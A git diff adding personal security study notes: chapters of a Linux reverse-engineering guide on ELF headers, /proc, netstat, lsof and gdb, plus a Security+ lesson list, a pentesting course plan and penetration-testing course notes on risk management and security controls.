+  Elf32_Word    p_filesz;               /* Segment size in file */
+  Elf32_Word    p_memsz;                /* Segment size in memory */
+  Elf32_Word    p_flags;                /* Segment flags */
+  Elf32_Word    p_align;                /* Segment alignment */
+} Elf32_Phdr;
+

Keep in mind that there are going to a few of these (usually 2) + end-to-end (ie forming an array of structs) in a typical ELF executable. + The interesting fields in this structure are + p_offset, p_filesz, and p_memsz, all of which we will need to make use of in the + code modification chapter.

8.1.4. ELF Section Headers

The ELF section headers describe various named sections in an executable + file. Each section has an entry in the section headers array, which is + found at the bottom of the executable and has the following + format:


/* Section header.  */
+
+typedef struct
+{
+  Elf32_Word    sh_name;                /* Section name (string tbl index) */
+  Elf32_Word    sh_type;                /* Section type */
+  Elf32_Word    sh_flags;               /* Section flags */
+  Elf32_Addr    sh_addr;                /* Section virtual addr at execution */
+  Elf32_Off     sh_offset;              /* Section file offset */
+  Elf32_Word    sh_size;                /* Section size in bytes */
+  Elf32_Word    sh_link;                /* Link to another section */
+  Elf32_Word    sh_info;                /* Additional section information */
+  Elf32_Word    sh_addralign;           /* Section alignment */
+  Elf32_Word    sh_entsize;             /* Entry size if section holds table */
+} Elf32_Shdr;
+
+
+

The section headers are entirely optional, however. A list of + common sections can be found on page 20 of the ELF Spec + PDF

8.2. Editing ELF

Editing ELF is often desired during reverse engineering, especially + when we want to insert bodies of code, or if we want to reverse engineer + binaries with deliberately corrupted ELF headers.

Now you could edit these headers by hand using the <elf.h> header + file and those above structures, but luckily there is already a nice + editor called HT Editor + that allows you to examine and modify + all sections of an ELF program, from ELF header to actual + instructions. + (TODO: instructions, screenshots of HTE) +

Do note that changing the size of various program sections in the ELF + headers will most likely break things. We will get into how to edit ELF + in more detail when we are talking about actual code insertion, which is + the next chapter.


PrevHomeNext
Writing Standalone Assembly Understanding Copy Protection
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x467.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x467.htm new file mode 100644 index 0000000..c4b438f --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x467.htm @@ -0,0 +1,143 @@ +Understanding Copy Protection

PrevHomeNext
Working with the ELF Program Format Code Modification
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x47.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x47.htm new file mode 100644 index 0000000..b02658e --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x47.htm @@ -0,0 +1,388 @@ +Gathering Info

3. Gathering Info

Now the fun stuff begins. The first step to figuring out what is going on + in our target program is to gather as much information as we can. Several + tools on Linux allow us to do this. Let's take a look at them. +

3.3. /proc

The Linux /proc filesystem contains all sorts of interesting information, + from where libraries and other sections of the code are mapped, to which + files and sockets are open where. The /proc filesystem contains + a directory for each currently running process. So, if you started a + process whose pid was 3137, you could enter the directory /proc/3137/ to find + out almost anything about this currently running process. You can + only view process information for processes which you own. +

The files in this directory change with each OS. The interesting ones in Linux are: + cmdline -- lists the command line parameters passed to the process + cwd -- a link to the current working directory of the process + environ -- a list of the environment variables for the process + exe -- the link to the process executable + fd -- a list of the file descriptors being used by the process + maps -- VERY USEFUL. Lists the memory locations in use by this + process. These can be viewed directly with gdb to find out various + useful things. +

3.4. netstat

netstat is handy little tool that is present on all modern operating + systems. It is used to display network connections, routing tables, + interface statistics, and more. +

How can netstat be useful? Let's say we are trying to reverse engineer + a program that uses some network communication. A quick look at what + netstat displays can give us clues where the program connects and + after some investigation maybe why it connects to this host. + netstat does not only show TCP/IP connections, but also UNIX domain + socket connections which are used in interprocess communication in + lots of programs. + Here is an example output of it: +


Active Internet connections (w/o servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State
+tcp        0      0 slack.localnet:58705    egon.acm.uiuc.edu:ssh   ESTABLISHED
+tcp        0      0 slack.localnet:51766    gw.localnet:ssh         ESTABLISHED
+tcp        0      0 slack.localnet:51765    gw.localnet:ssh         ESTABLISHED
+tcp        0      0 slack.localnet:38980    clortho.acm.uiuc.ed:ssh ESTABLISHED
+tcp        0      0 slack.localnet:58510    students-slb.cso.ui:ssh ESTABLISHED
+Active UNIX domain sockets (w/o servers)
+Proto RefCnt Flags       Type       State         I-Node Path
+unix  5      [ ]         DGRAM                    68     /dev/log
+unix  3      [ ]         STREAM     CONNECTED     572608 /tmp/.ICE-unix/794
+unix  3      [ ]         STREAM     CONNECTED     572607
+unix  3      [ ]         STREAM     CONNECTED     572604 /tmp/.X11-unix/X0
+unix  3      [ ]         STREAM     CONNECTED     572603
+unix  2      [ ]         STREAM                   572488
+       
+ As you can see there is great deal of info shown by netstat. But what + is the meaning of it? + The output is divided in two parts - Internet connections and UNIX + domain sockets as mentioned above. Here is breifly what the Internet + portion of netstat output means. The first column shows the protocol + being used (tcp, udp, unix) in the particular connection. Receiving + and sending queues for it are displayed in the next two columns, + followed by the information identifying the connection - source host + and port, destination host and port. The last column of the output + shows the state of the connection. Since there are several stages in + opening and closing TCP connections, this field was included to show + if the connection is ESTABLISHED or in some of the other available + states. SYN_SENT, TIME_WAIT, LISTEN are the most often seen ones. To + see complete list of the available states look in the man page for + netstat. FIXME: Describe these states. +

Depending on the options being passed to netstat, it is possible to + display more info. In particular interesting for us is the -p option + (not available on all UNIX systems). This will show us the program + that uses the connection shown, which may help us determine the + behaviour of our target. + Another use of this options is in tracking down spyware programs that + may be installed on your system. Showing all the network connection + and looking for unknown entries is invaluable tool in discovering + programs that you are unaware of that send information to the network. + This can be combined with the -a option to show all connections. By + default listening sockets are not displayed in netstat. Using the -a + we force all to be shown. -n shows numerical IP addesses instead of + hostnames. +


        
netstat -p as normal user
+(Not all processes could be identified, non-owned process info
+ will not be shown, you would have to be root to see it all.)
+Active Internet connections (w/o servers)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+tcp        0      0 slack.localnet:58705    egon.acm.uiuc.edu:ssh   ESTABLISHED -
+tcp        0      0 slack.localnet:58766    winston.acm.uiuc.ed:www ESTABLISHED 5587/mozilla-bin
+       
+

        
netstat -npa as root user
+Active Internet connections (servers and established)
+Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
+tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      390/smbd
+tcp        0      0 0.0.0.0:6000            0.0.0.0:*               LISTEN      737/X
+tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      78/sshd
+tcp        0      0 10.0.0.3:58705          128.174.252.100:22      ESTABLISHED 13761/ssh
+tcp        0      0 10.0.0.3:51766          10.0.0.1:22             ESTABLISHED 897/ssh
+tcp        0      0 10.0.0.3:51765          10.0.0.1:22             ESTABLISHED 896/ssh
+tcp        0      0 10.0.0.3:38980          128.174.252.105:22      ESTABLISHED 8272/ssh
+tcp        0      0 10.0.0.3:58510          128.174.5.39:22         ESTABLISHED 13716/ssh
+       
+ So this output shows that mozilla has established a connection with + winston.acm.uiuc.edu for HTTP traffic (since port is www(80)). In the + second output we see that the SMB daemon, X server, and ssh daemon + listen for incomming connections. +

3.5. lsof

lsof is a program that lists all open files by the processes running + on a system. An open file may be a regular file, a directory, a block + special file, a character special file, an executing text reference, + a library, a stream or a network file (Internet socket, NFS file or + UNIX domain socket). It has plenty of options, but in its default mode + it gives an extensive listing of the opened files. lsof does not come + installed by default with most of the flavors of Linux/UNIX, so you + may need to install it by yourself. On some distributions lsof + installs in /usr/sbin which by default is not in your path and you + will have to add it. + An example output would be:


COMMAND     PID  USER   FD   TYPE     DEVICE     SIZE       NODE NAME
+bash        101 nasko  cwd    DIR        3,2     4096    1172699 /home/nasko
+bash        101 nasko  rtd    DIR        3,2     4096          2 /
+bash        101 nasko  txt    REG        3,2   518140    1204132 /bin/bash
+bash        101 nasko  mem    REG        3,2   432647     748736 /lib/ld-2.2.3.so
+bash        101 nasko  mem    REG        3,2    14831    1399832 /lib/libtermcap.so.2.0.8
+bash        101 nasko  mem    REG        3,2    72701     748743 /lib/libdl-2.2.3.so
+bash        101 nasko  mem    REG        3,2  4783716     748741 /lib/libc-2.2.3.so
+bash        101 nasko  mem    REG        3,2   249120     748742 /lib/libnss_compat-2.2.3.so
+bash        101 nasko  mem    REG        3,2   357644     748746 /lib/libnsl-2.2.3.so
+bash        101 nasko    0u   CHR        4,5              260596 /dev/tty5
+bash        101 nasko    1u   CHR        4,5              260596 /dev/tty5
+bash        101 nasko    2u   CHR        4,5              260596 /dev/tty5
+bash        101 nasko  255u   CHR        4,5              260596 /dev/tty5
+screen      379 nasko  cwd    DIR        3,2     4096    1172699 /home/nasko
+screen      379 nasko  rtd    DIR        3,2     4096          2 /
+screen      379 nasko  txt    REG        3,2   250336     358394 /usr/bin/screen-3.9.9
+screen      379 nasko  mem    REG        3,2   432647     748736 /lib/ld-2.2.3.so
+screen      379 nasko  mem    REG        3,2   357644     748746 /lib/libnsl-2.2.3.so
+screen      379 nasko    0r   CHR        1,3              260468 /dev/null
+screen      379 nasko    1w   CHR        1,3              260468 /dev/null
+screen      379 nasko    2w   CHR        1,3              260468 /dev/null
+screen      379 nasko    3r  FIFO        3,2             1334324 /home/nasko/.screen/379.pts-6.slack
+startx      729 nasko  cwd    DIR        3,2     4096    1172699 /home/nasko
+startx      729 nasko  rtd    DIR        3,2     4096          2 /
+startx      729 nasko  txt    REG        3,2   518140    1204132 /bin/bash
+ksmserver   794 nasko    3u  unix 0xc8d36580              346900 socket
+ksmserver   794 nasko    4r  FIFO        0,6              346902 pipe
+ksmserver   794 nasko    5w  FIFO        0,6              346902 pipe
+ksmserver   794 nasko    6u  unix 0xd4c83200              346903 socket
+ksmserver   794 nasko    7u  unix 0xd4c83540              346905 /tmp/.ICE-unix/794
+mozilla-b  5594 nasko  144u  sock        0,0              639105 can't identify protocol
+mozilla-b  5594 nasko  146u  unix 0xd18ec3e0              639134 socket
+mozilla-b  5594 nasko  147u  sock        0,0              639135 can't identify protocol
+mozilla-b  5594 nasko  150u  unix 0xd18ed420              639151 socket
+       
Here is brief explanation of some of the abbreviations lsof uses in + its output:

   cwd  current working directory
+   mem  memory-mapped file
+   pd   parent directory
+   rtd  root directory
+   txt  program text (code and data)
+   CHR  for a character special file
+   sock for a socket of unknown domain
+   unix for a UNIX domain socket
+   DIR  for a directory
+   FIFO for a FIFO special file
+	
+

It is pretty handy tool when it comes to investigating program + behavior. lsof reveals plenty of information about what the process is + doing under the surface. +


PrevHomeNext
The Linux Compilation Process Determining Program Behavior
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x470.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x470.htm new file mode 100644 index 0000000..a77b6dd --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x470.htm @@ -0,0 +1,246 @@ +Code Modification

10. Code Modification

So now we know the tools to analyze our programs and find functions of + interest to us even in programs without sourcecode. We can understand + the assembly + that makes them up, and can write assembly of our own to do what we want. + We know how a program looks on the disk and how that corresponds to what + the program looks like in memory. Knowledge is power, and we know a lot. + TODO: Read this: http://hcunix.org/hcunix/terran.txt +

10.2. Instruction Modification

Since the smallest unit of code is the instruction, it follows that + the simplest form of code modification is instruction modification. + In instruction modification, we are looking to change some property of a + specific instruction. Recall from the assembly section that each + instruction has 2 parts: The mnemonic and the arguments. So our choices + are limited. +

The best way to modify instructions is through HT Editor, which was mentioned + earlier in the ELF section. HTE has a hex editor mode where we can edit + the hex value of an instruction and see the assembly updated in real time. + (TODO: instructions, screenshots of HTE) +


PrevHomeNext
Understanding Copy Protection Buffer Overflows
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x499.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x499.htm new file mode 100644 index 0000000..1807c23 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x499.htm @@ -0,0 +1,190 @@ +Buffer Overflows

PrevHomeNext
Code Modification TODO (Contribute!)
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x520.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x520.htm new file mode 100644 index 0000000..89c7fa7 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x520.htm @@ -0,0 +1,320 @@ +TODO (Contribute!)

12. TODO (Contribute!)

Things that need to get done to this document. Note, none of these things + are going to be particularly easy. But then again, neither was writing up + the rest of this tutorial. +

12.4. Update disasm.pl

The simpler things to do to this script would be to clean up the + FIXME's, and add options to it (such as --no-show-raw-insn) + Also, making an attempt at derefrencing pointers + based on some heuristic would be nice. Check out this perl + disassembler for ideas (not too many ideas.. its output format + sucks). +

If anyone is feeling extremely hardcore and wants to help modify Steve and + Nasko's perl script to make the output more intuitive, feel free. A + directed graph would be fantastic, automatic determination of main + would also be great (use graph theory on your directed graph). There + is also a utility called ptrace that is part of the LDasm project. + Interfacting it (or gdb) with disasm.pl script to set a break + point for each function would be a heroic task as well (because this + would be the equivalent of ltrace, except for ALL functions in a program, + not just the libs). +


PrevHomeNext
Buffer Overflows Extra Resources
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x578.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x578.htm new file mode 100644 index 0000000..77bdff1 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x578.htm @@ -0,0 +1,231 @@ +Extra Resources

13. Extra Resources

13.2. Other Resources and amusements

  1. LDasm project. LDasm is at best a passable disasembly tool + (disasm.pl is FAR more useful), but it does come with a utility called + ptrace, which allows you to view which instructions of a program + actually execute. You can also give ptrace a list of addresses (for + example, the list of functions found by disasm.pl) and have it step + through those to show you which ones actually execute in your + program.

  2. Creating Teensy Executables in Linux

  3. Microsoft COFF format

  4. Attacking FlexLM is an essay written in 1998 on attacking a specific form of + hard copy protection. There are several other essays on that site, but most + of them cover material that we cover above, but with specific example + programs.

+


PrevHome 
TODO (Contribute!)  
\ No newline at end of file diff --git a/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x79.htm b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x79.htm new file mode 100644 index 0000000..8fc694c --- /dev/null +++ b/src/Security/Technical Papers and Notes/Reverse Engineering Guide/x79.htm @@ -0,0 +1,272 @@ +Determining Program Behavior

4. Determining Program Behavior

There are a couple of tools that allow us to look into program + behavior at a more closer level. Lets look at some of these: +

4.4. gdb

gdb is the GNU debugger. It is very intimidating to most people, but + there really is no reason for it to be. It is very well done for a + command line debugger. There is a nice GUI front end to it known as + DDD, + but our purposes will require a closer relationship with the command + line. +

gdb has a nice built-in help system organized by topic. typing help will + show you the catagories. The main commands we will be interested in are + run, break, cont, stepi, finish, disassemble, bt, info [registers/frame], and x. + Every command in gdb can be followed by a number N, which means repeat N + times. For example, stepi 1000 will step over 1000 assembly instructions. +

-> Example using gdb to set breakpoints in functions with and without + debugging symbols. +


PrevHomeNext
Gathering Info Determining Interesting Functions
\ No newline at end of file diff --git a/src/Security/Training/CompTIA-Sec+.txt b/src/Security/Training/CompTIA-Sec+.txt new file mode 100644 index 0000000..c12ee41 --- /dev/null +++ b/src/Security/Training/CompTIA-Sec+.txt @@ -0,0 +1,31 @@ +Lesson 1: Comparing and Contrasting Attacks + +Lesson 2: Comparing and Contrasting Security Controls + +Lesson 3: Assessing Security Posture with Software Tools + +Lesson 4: Explaining Basic Cryptography Concepts + +Lesson 5: Implementing a Public Key Infrastructure + +Lesson 6: Implementing Identity and Access Management Controls + +Lesson 7: Managing Access Services and Accounts + +Lesson 8: Implementing a Secure Network Architecture + +Lesson 9: Installing and Configuring Security Appliances + +Lesson 10: Installing and Configuring Wireless and Physical Access Security + +Lesson 11: Deploying Secure Host, Mobile, and Embedded Systems + +Lesson 12: Implementing Secure Network Access Protocols + +Lesson 13: Implementing Secure Network Applications + +Lesson 14: Explaining Risk Management and Disaster Recovery Concepts + +Lesson 15: Summarizing Secure Application Development Concepts + +Lesson 16: Explaining Organizational Security Concepts \ No newline at end of file diff --git a/src/Security/Training/Penttesting Learning Path.txt b/src/Security/Training/Penttesting Learning Path.txt new file mode 100644 index 0000000..61d97b9 --- /dev/null +++ b/src/Security/Training/Penttesting Learning Path.txt @@ -0,0 +1,146 @@ +Note: This phase listing is based off of my programming background, + what I did with Juice Shop, and Fedlearn classes. + +Note 2: + Free Time at Work phase covers stuff that doesn't fit nicely in the other phases. + +Note 3: OWASP Juice Shop: 16% completed. + ( Most of 1 stars, a quarter of 2 stars, one or two of the 3 stars, and one 5 or 6 stars ) + + +Goals: +2-3 hours per weekend! ( + 1 hour per day of video then try and apply concepts. + Application happens either on the day of video or all on Sunday. + ) + + +-- Certificates -- + Security+ + Training: https://store.comptia.org/p/SEC-005-CMLR-2019 ($499.00 at 12 months access) + Certificate: https://store.comptia.org/p/CompTIAS ($499.00 with 1x retake option) + CISSP + Training: https://www.isc2.org/Training/Online-Self-Paced ($2,795.00 at 120 day access) + Certificate: https://www.isc2.org/Certifications/CISSP (~$699.00) + + + + +:: Phase1: This phase is a broad rundown of things to look at when doing application hacking. :: + +This is the big picture section of what can be drilled down into. Most of the lessons will be structured to +fill these knowledge sets. I get a few introduction classes discussing broad topics and then a play by play +to see the concepts in action. + +I then start off proper by getting an introduction into reconnaissance and footprinting the app, network, etc. +From there, pretty much after reconnaissance, it comes down to a wide array of potential threat vectors. +I cover the fundamentals with the below topics while re-enforcing what I studied from Fedlearn. + + + +/********************************** COMPLETED **********************************\ +(08/16) Beginner 2h 22m by Keith Watson Penetration Testing: The Big Picture +(08/16) Intermediate 2h 38m by Mike Woolard Web Application Penetration Testing Fundamentals +(08/16) Beginner 1h 2m by Troy Hunt Play by Play: Ethical Hacking with Troy Hunt + +(08/23) Intermediate 1h 21m by Will Vandeva External Footprinting: Reconnaissance and Mapping + +(08/30) Beginner 1h 14m by Dawid Czagan Web App Hacking: Sensitive Data Exposure +(08/30) Beginner 1h 2m by Dawid Czagan Web App Hacking: Cookie Attacks +(08/30) Beginner 1h 0m by Dawid Czagan Web App Hacking: Hacking Authentication +(08/30) Beginner 49m by Dawid Czagan Web App Hacking: Hacking Password Reset Functionality + +(09/06) Beginner 51m by Dawid Czagan Web App Hacking: Cross-Site Request Forgery (CSRF) +(09/06) Beginner 45m by Dawid Czagan Web App Hacking: Caching Problems +(09/06) Beginner 50m by Dawid Czagan Web App Hacking: Hacking XML Processing + + +/********************************** TO-DO **********************************\ + +... COMPLETED ALL IN THIS PHASE ... + + +:: Phase2: This phase is to really flesh out the intro phase of 1. :: + +/********************************** COMPLETED **********************************\ + + + +/********************************** TO-DO **********************************\ +(09/13, 20) + Beginner 7h 24m by Dale Meredith Performing and Analyzing Network Reconnaissance + +(09/27) Beginner 3h 0m by Troy Hunt Ethical Hacking: Evading IDS, Firewalls, and Honeypots +(10/04) Beginner 2h 25m by Troy Hunt Ethical Hacking: Hacking Web Servers +(10/11) Beginner 3h 27m by Troy Hunt Ethical Hacking: Session Hijacking +(10/18) Beginner 2h 49m by Troy Hunt Ethical Hacking: Denial of Service +(10/25, 11/01) + Beginner 5h 25m by Troy Hunt Ethical Hacking: SQL Injection +(11/08, 15) + Beginner 4h 49m by Troy Hunt Ethical Hacking: Hacking Web Applications +(11/22, 29) + Beginner 4h 56m by Dale Meredith Ethical Hacking: Hacking Mobile Platforms + + +(12/06) Intermediate 1h 56m by Gus Khawaja Penetration Testing Automation Using Python and Kali Linux +(12/06) Intermediate 3h 32m by Liam Cleary Penetration Testing SharePoint +(12/13) Intermediate 1h 31m by Daniel Teixeira Penetration Testing in Action + + +(12/20, 27) + Intermediate 5h 12m by Jerod Brennen Performing OSINT Gathering on Corporate Targets +(01/03) Intermediate 3h 52m by Chad Russell Exploitation: Evading Detection and Bypassing Countermeasures +(01/10) Beginner 1h 23m by Gus Khawaja Network Penetration Testing Using Python and Kali Linux +(01/17) Intermediate 4h 7m by Troy Hunt Hack Your API First +(01/24, 31) + Intermediate 9h 25m by Troy Hunt Hack Yourself First: How to go on the Cyber-Offense +(02/07) Intermediate 1h 57m by Peter Mosm OPSEC for Penetration Testers + + + + +:: Phase3: More advanced stuff that looks to bring it all together. :: +/********************************** COMPLETED **********************************\ + + +/********************************** TO-DO **********************************\ +(02/14) Intermediate 2h 1m by Clark Voss Web Application Penetration Testing: Session Management Testing +(02/14) Intermediate 2h 14m by Sunny Wear Web Application Penetration Testing with Burp Suite + + +(02/21) Advanced 1h 15m by Sunny Wear Advanced Web Application Penetration Testing with Burp Suite +(02/28) Advanced 2h 48m by Sunny Wear Writing Burp Suite Macros and Plugins +(03/06, 13) + Advanced 6h 3m by Gus Khawaja Penetration Testing and Ethical Hacking with Kali Linux + + + + +:: Phase4: This is for the not so fun part of app pentesting- reports. :: +/********************************** COMPLETED **********************************\ + + +/********************************** TO-DO **********************************\ +Intermediate 2h 0m by Will Vandeva Writing Penetration Testing Reports +Beginner 4h 47m by Ben Sullins Data Analysis Fundamentals with Tableau +Intermediate 1h 36m by Ben Sullins Enterprise Business Intelligence with Tableau Server +Intermediate 3h 44m by Ben Sullins Big Data Analytics with Tableau +Intermediate 1h 47m by Robert Horvick Data Visualizations Using Tableau Public + + + + +:: Free Time at Work :: +/********************************** COMPLETED **********************************\ + + +/********************************** TO-DO **********************************\ +Beginner 1h 17m by Mark Minasi The Case for PowerShell +Beginner 6h 19m by Robert Cain Beginning PowerShell Scripting for Developers +Beginner 2h 41m by Robert Cain Introduction to PowerShell +Intermediate 2h 23m by Mike Thomas Pivot Tables for Excel 2016 +Intermediate 3h 18m by Diane McSor Excel 2016 for Power Users + + +Intermediate 2h 27m by Troy Hunt AngularJS Security Fundamentals +Beginner 1h 38m by Troy Hunt Getting Started with Cloudflare Security diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/Course Overview.txt b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/Course Overview.txt new file mode 100644 index 0000000..61cb449 --- /dev/null +++ b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/Course Overview.txt @@ -0,0 +1,11 @@ +Penetration Testing: + -- Demonstrate weaknesses through simulated attacks + -- Determine an orgs. resistance to attacks + -- Report on security posture and provide recommendations + + +Overview: + -- Role of penetration testing in information security + -- Penetration tests + -- Penetration Testing Execution Standard (PTES) + -- Pen testers and their tools diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-2-image-1.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-2-image-1.png new file mode 100644 index 0000000..c3bb504 Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-2-image-1.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-2-image-2.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-2-image-2.png new file mode 100644 index 0000000..7e27d1a Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-2-image-2.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-1.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-1.png new file mode 100644 index 0000000..0f3a5d4 Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-1.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-2.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-2.png new file mode 100644 index 0000000..4b4fce6 Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-2.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-3.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-3.png new file mode 100644 index 0000000..ec81bf0 Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-3-image-3.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-1.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-1.png new file mode 100644 index 0000000..01db253 Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-1.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-2.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-2.png new file mode 100644 index 0000000..fb7bceb Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-2.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-3.png b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-3.png new file mode 100644 index 0000000..9d2a2bc Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/module-4-image-3.png differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/penetration-testing-big-picture.zip b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/penetration-testing-big-picture.zip new file mode 100644 index 0000000..e5f1066 Binary files /dev/null and b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/materials/penetration-testing-big-picture.zip differ diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-1 - The role of Penetration Testing in Security Testing.txt b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-1 - The role of Penetration Testing in Security Testing.txt new file mode 100644 index 0000000..df4b7dc --- /dev/null +++ b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-1 - The role of Penetration Testing in Security Testing.txt @@ -0,0 +1,124 @@ +Overview: + -- Information Security Management + -- Risk Management + -- Security Controls + -- Penetration Testing + + + + + +:: Information Security Management :: + +-- (Security Principles) -- +[ CIA or Security Triad ] + +Confidentiality --> Only authorized systems, processes, and individuals should have access when needed. + Note: Pretty straightforward but can affect integrity if not maintained... + + Integrity --> Information should be protected from intentional, unauthorized, or accidental changes. + Note: Deleted information is bad; but, what if we lose trust in the validity of that + information? Integrity isn't just protection against loss but destructive edits, etc. + + Availability --> That information should be available to authorized individuals when needed. + Note: Basically up time. Security is also assurance that one can have near 24/7 + access for authed users. + This is very important for timely processes such as billing, + business competition, governmental actions militarily or otherwise. + +[ Governance ]: Leadership and oversight +[ Guidance ]: Policies, plans, standards, guidelines, and procedures +...geared around... +[ Risk Management ]: (paraphrased) value/asset identification and risks against them. +...combined with... +[ Ethics ]: (paraphrased) promotion of moral guidelines against amoral actions/actors + Note: This is the- what is the red line concept? We can't ident. or protect + without knowing WHAT we need to prevent and detect against. +... which improves... +[ Org. Behavior ]: (paraphrased) improves training, awareness, and org. structure to comply with + business goals and laws. + + + + +:: Risk Management :: +(Penetration testing is just one tool of many to identify risks to the security of the org.) + +[ Establish Risk Context ]: Environment in which decisions on risk are made. (Risk Management Strategy) + +[ Assess Risks ]: (paraphrased) Who, what, when, where, why (This looks at the org.'s over + all posture and Risk Management + Strategy) + +[ Respond to Risks ]: Evaluating, developing, and implementing response to reduce/limit risk. + +[ Monitor Risks ]: (paraphrased) adapting to changes of threats or changes of value targets + to re-posture security and the aforementioned systems. + + +-- (Principles) -- +[ Avoidance ]: (paraphrased) Don't do stupid shit that you know exposes oneself to threats. + IE, bad practices and policies + +[ Transference ]: Sharing risk (often linked with insurance) is only part of the picture. *(legal responsibility is not transferred) + If using cloud, the responsibility is shared between you and the provider. + +[ Mitigation ]: security controls, counter-measures, monitoring tools + +[ Acceptance ]: willing to take the punch if loss occurs. Basically, not much of a defense or barely mitigateable. + Note: likelihood is low + + +:: Security Controls :: (Establish boundaries) + +-- Control Mechanisms -- +[ Detective ]: Discover when policies have been violated (Intrusion detection system, IDS) +[ Preventive ]: Inhibit actions that violate policies (firewalls) +[ Corrective ]: Use violations or exceptions to counteract the violation (configuration management) +[ Deterrent ]: Discourage aberrant actions/violations (User accounts) +[ Recovery ]: Flow control to normal state (system backups) + +-- Control Types -- +[ Administrative ]: define and manage access to information (background checks) +[ Technical ]: logical controls in systems that determine access to info n' services (patching systems and app) +[ Physical ]: mechanisms that protect access to physical spaces and devices. (cameras) + + +-- Testing Controls -- +"Box" Testing + +[ White Box ]: aka, Crystal box testing, has complete information about, and access to the system being tested. + (user accounts, admin access, documentation, source code, test suits and frameworks, test cases, algorithm descriptions, etc.) + +[ Grey Box ]: some info is available but not complete + (source code but no user accounts or admin access. Api calls anyone??) + +[ Black Box ]: no information or access. Purely blind except for what is publicly accessible. + (crafting inputs and observing responses) + + + + +:: Penetration Testing :: + +Determine effectiveness of real world attacks. +Determine the level of skill required. +Ident. needed security controls. +Evaluate response to the attack. + +-- Tools, Techniques, and Procedures -- + +Exploit known vulnerabilities. +Find new vulnerabilities +Use existing tools +Create new tools +Social engineering + +-- Colloquialisms and Terms -- + +"Pen Test" == Penetration testing +"Pen" == Even shorter- "How is the pen going?" +"Red Team" == From military and intelligence groups meaning "The attackers" +"Blue Team" == The defenders +"Purple Team" == a combo of red n blue teams, in an exercise to test specific + controls and skill sets diff --git a/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-2 - Penetration Tests.txt b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-2 - Penetration Tests.txt new file mode 100644 index 0000000..e39ef81 --- /dev/null +++ b/src/Security/Training/Phase1/000_Penetration Testing - The Big Picture/module-2 - Penetration Tests.txt @@ -0,0 +1,142 @@ +Overview: + -- Manual and Automated Testing + -- Goal-oriented and Time-limited Testing + -- Network 